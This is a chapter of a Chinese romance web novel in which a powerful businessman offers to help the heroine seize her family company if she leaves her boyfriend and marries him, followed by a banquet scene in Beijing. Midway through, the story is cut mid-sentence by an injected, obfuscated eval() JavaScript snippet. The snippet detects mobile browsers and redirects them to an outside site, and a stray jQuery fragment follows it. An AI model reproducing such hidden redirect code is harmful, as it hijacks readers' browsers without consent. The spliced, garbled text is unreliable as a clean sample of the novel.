12. 港岛12
作品:《港岛夜雨》 夜色渐浓,窗外的霓虹灯在雨幕中被晕染承模糊的光斑,雨水打在车窗上汇集成一条水痕慢慢滑落。
阮清音捏着毛巾的手一顿,她心尖轻轻颤动,试探性问道:“那您想要什么?”
傅聿舟注视着她:“我要你分手。”
他的眼神克制冷静,充满着上位者的游刃有余,所有的事情仿佛都在他的掌控中。今晚的傅承森的事情或许他也推波助澜了不少,要不然他的车不会这么凑巧出现在这里。
在路上的时候阮清音就已经在考虑分手的事情了。
但现在她却不想被他轻易拿捏,目光执拗与他对视:“如果我说不呢?”
傅聿舟嘴角小幅度弯起。
她漂亮、聪明、骄傲,就像一只小猫,表面人畜无害,但又时不时会露出锋利的爪子。
别人进一步,她能进三步,别人退一步,她就能把自己藏起来,谁也找不到她。
傅聿舟知道,她也有自己的野心,他语气低沉自信:“阮小姐,傅承森能给的我都能给,他给不了的东西,我也能。”
即使之前再否认,但还是瞒不过他。
阮清音索性直接承认:“我要你帮我拿到整个阮家。”
傅聿舟点头:“好。”
“傅先生,您的条件呢?”
阮清音不是小孩子,她从来都不会相信会有人无缘无故对她好,成年人的世界,总是要掺杂着利益。
或多或少都要图些什么。
傅聿舟的脸上看不出任何神情,他靠在后座皮革椅背上,修长分明的指骨无意识轻点,不紧不慢道:“分手,然后和我结婚。”
阮清音瞳孔放大,呼吸也逐渐放轻。
结婚。
她以为他提出的条件会是做他的情/人,或者做白月光的替身在他身边。
怎么会是结婚。
车子仿佛是被定格,停在原地不动。
阮清音思绪混乱,张了张嘴,最终什么话也说不出来。
傅聿舟拿起她放在座椅上的手机递给她,循循善诱:“阮小姐,结婚的事你可以再考虑一下,现在先开始第一步。”
阮清音木讷接过手机,指尖轻轻扫过屏幕,界面上傅承森的消息倒映在他们的眼眸。
【傅承森:音音你今晚先自己回去。】
【傅承森:我知道错了,但我是真的爱你。】
【傅承森:原谅我这一次好不好,我下次不会这样了。】
【傅承森:我给你准备了礼物,明天给你送去。】
“第一步是什么?”阮清音完全摸不着头脑。
傅聿舟桃花眼微眯:“分手。”
在他的注视下,阮清音编辑好了条分手信息给傅承森发送了过去,刚想要把手机收起来。
傅聿舟的声音,从头顶幽幽落下:“还有第二步。”
阮清音慌了,不是说好先考虑一下吗?
“傅先生,您说让我考虑一下的。”
傅聿舟声音戏谑:“阮小姐,傅某只是想加你联系方式,还是说阮小姐满脑子都是要和傅某结婚呢?”
阮小姐明明是很正常的称呼,但在他嗓音中说出来,却像调/情一样。
阮清音脸颊发红,耳朵跟充了血似的发烫,她迅速调出微信二维码给他:“微信。”
手机上收到申请好友信息,阮清音点了通过。
车不知道什么时候停到了她公寓楼下。
阮清音手指抚摸上内衬的按钮,轻轻按压车门无声地推开,她微微倾身从车上下去。
在关门前,傅聿舟眼眸一瞬不瞬盯着她,开口提醒道:“阮小姐记得还有电话号码。”
邮箱就不用了,他之前有。
还想再说些什么,劳斯莱斯车门严丝合缝闭合。
车灯扫过她的脸颊,阮清音眼睫轻轻眨动,有些不解。
要那么多联系方式干什么?
心里虽然吐槽,但还是把号码发给了他。
半夜睡得迷迷糊糊时,阮清音放在桌上的手机一直震动,她眼皮沉重睁开,目光朦胧地望向手机屏幕。
傅承森还在一直给她发着消息。
【傅承森:音音我真的错了。】
【傅承森:我马上就和她断了联系,你再原谅我这一次好不好。】
【……】
一道闪电照劈了下来,光亮被窗帘隔绝到了外面,随后又传来道闷雷滚过的轰鸣声。
阮清音粗了蹙眉,毫不犹豫点击了拉黑,看了眼时间才凌晨两点半,又接着睡了过去。
第二天阮清音到了工作室,发现自己的工位上摆满了各种精致的礼物盒,每个上面都写着对不起。
阮清音走到窗户前,目光缓慢地移到楼下。果然看到了那辆熟悉的车。
因为早上来得早,工作室里空无一人,她面无表情找了一个手提袋,将桌上那些包装精致的礼物盒,动作干脆地装了进去。
趁着电梯无人,阮清音拎着沉重的袋子下了楼。果然傅承森在看到她之后,快速下车迎了上来。
傅承森以为阮清音原谅了他:“音音,我就知道你放不下我,你是不是原谅我了。”
昨天晚上他给阮清音发了消息,虽然她第一时间就拉黑了他,但是这恰恰证明她也一直在等着他的消息。
阮清音将东西塞到他怀里,声音没有任何起伏:“傅承森你不要给我送东西了,我们已经分手了。”
傅承森伸手拉住她的胳膊:“我还没有同意分手,音音你不要说气话了好不好,我之后会改的。”
他不知道阮清音态度转变得为什么会这么大,之前他也有过这种情况,但她也都没有在乎过啊。
阮清音早就猜到了他会这样。
她转过身抬起眼眸望向他。
傅承森身上依旧穿着昨天的西装,领带松松垮垮系在白色衬衫上,头发蓬乱,眼睛里布满了红色血丝。
之前的傅承森特别注重自己的形象,不管做什么都不会让自己成了这副样子。
阮清音不相信他会改变的话,如果能改,那一开始就不会做出这种事情,她不想再和他纠缠下去。
便直接搬出来了游听韵,她打赌他肯定不想让傅家的人知道昨晚的事情。
她移了移视线,缓缓道:“傅承森,我没有说气话,如果你再来纠缠我的话,我会把昨晚的事都去告诉游女士的。”
傅承森慢慢松开了手,他往后退了一步,凝视着阮清音决绝的背影,心脏的疼痛感渐渐传来。
他后悔昨天临走前没有好好稳住那个女人,可是她怀着他的孩子,又不忍心对她说什么重话。
傅承森颓废走到垃圾桶旁,把那袋礼物扔了进去。
但他也不会放弃的,他相信阮清音会原谅他的。
上午九点,工作室里的人已经来全。
空气中飘着咖啡的香气,偶尔有几道压低嗓音的交流。
冉思一看了眼刚回来的阮清音,收起手机,表情不自然地坐回到工位。
她心跳疯狂加速,楼下的事情她已经全部拍到了,阮清音怎么敢的,一边钓着傅先生,一边又和另一个男人拉扯不清。
冉思一余光瞥向阮清音。
阳光透过巨大的玻璃窗,毫无保留地覆盖到阮清音身上,她眼睫不自觉的微微颤抖,像是蝶翼扫过光晕,在眼睑处落下一小片阴影。
想到在傅家庄园发生的事。
冉思一咬咬牙,指尖捏着手机,如果傅先生知道了她的真面目后,是不是就不会再维护她了。
*****
周五下午两点,型号是空客A320私人飞机在港岛起飞。去京市参加晚宴对于傅聿舟来说不是明智的选择,他的产业大部分都在维港两岸以及国外,去了主动权不容易在自己手里。
但他需要和阮清音独处的机会,再加上这次邀约的是江家,便答应了下来。
傅聿舟穿着红黑色西装,双腿交叠坐在全粒面皮革座椅里,修长手指捏着就被晃了晃,冰球碰撞杯壁,在寂静的环境里发出细微的脆响。
套房内传来一阵动静,他喉结上下滚动,烧灼的液体滑过喉咙,随后将酒杯放到桌子上,站起身来。
阮清音踩着银色高跟鞋,慢悠悠从里面走出来,她一袭红色缎面长裙,上面覆满了细密的水晶,裙摆开衩至腿根,雪白双腿随着动作若隐若现。
面前镜子展示出她的身影:“傅先生,这是不是有点夸张了?”
配上他的西装,两个人仿佛参加的不是晚宴,而是婚礼。
傅聿舟毫不掩饰的上下打量了一遍,视线上移,落到她空落落的脖颈上。
他特意交代了不让别人给她搭配项链。
傅聿舟从抽屉里拿出那条没送出去的红宝石项链,迈着掌控一切的步伐,走到她身后。
手臂从她颈侧越过,双手展开项链帮她佩戴。
指尖不可避免地擦过阮清音颈后娇嫩肌肤,烫人的热度,从那一小块触碰到的皮肤,迅速扩散至四肢百骸。
周围的空气像是变得稀薄,阮清音呼吸轻浅又急促,胸口也随之微微起伏。
感受到他身上强大的侵略气息,阮清音细微战栗,下意识喊了声:“傅先生。”
项链扣环终于合拢,傅聿舟松开手望向镜子,看到女孩白皙的脸颊因害羞而染上层绯红,胸口处有什么东西开始不受控制。
他俯身慢慢靠近,呼出的气体拂过她的耳廓,嗓音磁性回答:“prettygirl,一点都不夸张。”
飞机在落地前,就已经有人派了专属车辆过来接他们,司机在路上开得平稳。
抵达宴会场地的时间正好,早一秒显得急切,晚一秒则落主人的面子。
阮清音挽着傅聿舟的胳膊踏入灯火辉煌的大厅,所有人的目光全都聚集到她们身上。
看清楚来人的那刻,众人都感到震惊。
是傅聿舟!
这是江家的宴会,江家掌权人江宴辞肯定也在,商界两家大佬齐聚于此,不知道又会有多少亿的项目会被两人合作平分。
周围的窃窃私语声传来,许多人都在打听着站在傅聿舟身边的女孩是谁。
阮清音不喜欢听见他们议论,她拉了拉他的胳膊,轻轻踮起脚尖身体前倾:“傅先生,我想自己转转。”
傅聿舟配合着低头,唇角勾起,但似乎没有打算放她的意思:“阮小姐,傅某请你来是做我女伴的。”
女伴也不能时时刻刻都在他身边啊。
阮清音抿抿唇,换了个理由:“可是傅先生,我想要去洗手间。”
傅聿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104315|195540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舟一眼识破了她的小心思,感觉再逗下去她就会生气,那今晚真的会是得不偿失。
“去吧,需要我陪你吗?”
“不用。”阮清音飞快拒绝,“我自己去就好。”
说完后松开他的手,小跑了出去。
洗手间在另一边,而阮清音跑去的方向明显是后花园,傅聿舟没有戳破,她打算去楼上随时关注她的动态,顺便也该去和宴会的主人打个招呼了。
京市的天气并不如港岛那么潮湿,晚风中带了一丝干爽的凉意,空气中还能闻到泥土的清香。
后花园玫瑰开得正艳。
阮清音无聊地在外面闲逛,她指尖轻轻抚摸上娇艳欲滴的花瓣,思绪渐渐远去。
这不是她第一次来参加江家的宴会,外公在世时,受到江老爷子邀请来参加江家的晚宴,那个时候她还小,又比较黏着外公,非要跟着一起参加。
那个时候江老爷子和外公坐在后花园,调侃她是参加江家宴会最小的被邀请人。
后来外公去世后,江家产业越来越大,就再也没有了联系。
正想着,身后突然传来了一道惊讶的声音:“你怎么在这里?”
阮清音不用回头,就知道来得人是谁,因为她听到这个声音,心里就涌起一股烦躁。
她声音极其冷淡:“我在哪还用和你交代吗?”
“你……”阮清瑶没想到她连装都不装了,直接被呛了一口,“姐姐,你怎么能这么说话,你现在不应该在港岛,怎么会出现在这里?”
上次阮清音和爸爸说在和傅家的人谈恋爱,她才不信,前段时间她找人去港岛打听。
傅家掌权人傅聿舟,位高权重,家世显赫,不可能会跟阮清音谈恋爱,所以直接排除了。
而傅家小少爷,有人亲眼看到他和一位女人半夜共同出入同所别墅,所以谈恋爱就是阮清音为了拖延爸爸把Bygin给她的借口。
阮清音并不想搭理她,在这种场合和她争吵,不仅会引来很多人围观,还会成为话题中心。
她淡淡瞥了她一眼,转头就往宴会厅走去。
冷漠的态度彻底引起了阮清瑶的怒火,虽然爸爸特意交代让她不要和阮清音说,但在此刻她顾不得那么多了,她就想压她一头:“姐姐你还不知道吧,爸爸说了明天就把Bygin转我名下,而且还会把阿姨留下的所有秀场高定服装手稿送我。”
“什么?”阮清音猛地回过头。
妈妈的设计初稿她一直找不到,阮父骗她已经烧了。
看到她脸上不敢相信的表情,阮清瑶洋洋得意道:“爸爸现在就在这里,不信你可以去找他求证,对了姐姐,你就别做无用功了,我们所有事情都准备好了,就只差签字了。”
她轻声笑了下,威胁道,“爸爸还为你和吴家许下了一门婚事,就是那个特别花心的吴家二公子,你不嫁,你外公留下的东西也会保不住。”
明天。
如果不是今晚来参加宴会,不是碰到了阮清瑶那妈妈留下唯一的东西就都是她们的了,还有外公。
想到这里阮清音身体就忍不住颤抖。
她大口汲取着新鲜空气,可怎么也喘不过气来,她指尖陷入掌心,凭借那一点疼痛让自己情绪稳定下来。
傅聿舟。
她要去找傅聿舟,她不会让Bygin和手稿落到她们手里的。
在二楼私人包厢里的傅聿舟时时刻刻关注着楼下的情况,他举起酒杯往前倾斜,微不可察牵动了下唇角:“江总出的主意恕傅某不能认同,毕竟江总的未婚妻可是背着江总,又找了一个男朋友。”
他就不该问江宴辞怎么追人,他出的主意竟是让他放手。
两人在华尔街一场收购场所上认识,傅聿舟和江宴辞为了同一个目标厮杀数月,投入的资金都要比身份证号码还长。
就在收购接近尾声时,江宴辞却匆匆离开,退出了竞争。
他的团队都以为江宴辞是怕了,但傅聿舟不这样认为。后来他才知道,江宴辞离开是有其他原因,他还在上大学的未婚妻要跟别人跑了。
江宴辞穿着深蓝色西装站在落地窗前,他举着酒杯,身上气场同样矜贵强大,不甘示弱回击:“那也比傅总做小/三强。”
任宴会厅里的那些人也猜不到,两位商业大佬坐在一起,谈论的不是项目合同,而是情感问题。
傅聿舟视线垂落到楼下的身影,看了一会,他眼底忽然凝起一层薄冰。
原本正在赏花的女孩,突然被人打扰,那人又不知道说了什么,让女孩的呼吸起伏不对,她急促地跑向大厅内。
傅聿舟放下手中的酒杯,对着江宴辞道:“江总,傅某失陪一下。”
他的步幅比平常快了很多,还带了丝不易察觉的焦急,腿部肌肉线条在西装面料下紧绷,走到走廊转角处时。
一位急匆匆的女孩撞进了他的怀里,傅聿舟下意识揽上她的腰。
阮清音跑得发懵,泪水蓄在眼眶里打转,她知道撞上了人,但不知道是谁。她抬起头,泪水顺着脸颊滑落,模糊的视线也逐渐清晰。
她眼睫无法控制地颤动,傅聿舟的身影映在黑色瞳孔内,阮清音慌不择路地攥着他的西装,像是抓住了救命稻草,她嗓音干涩:“傅先生,您说的结婚还作数吗?”

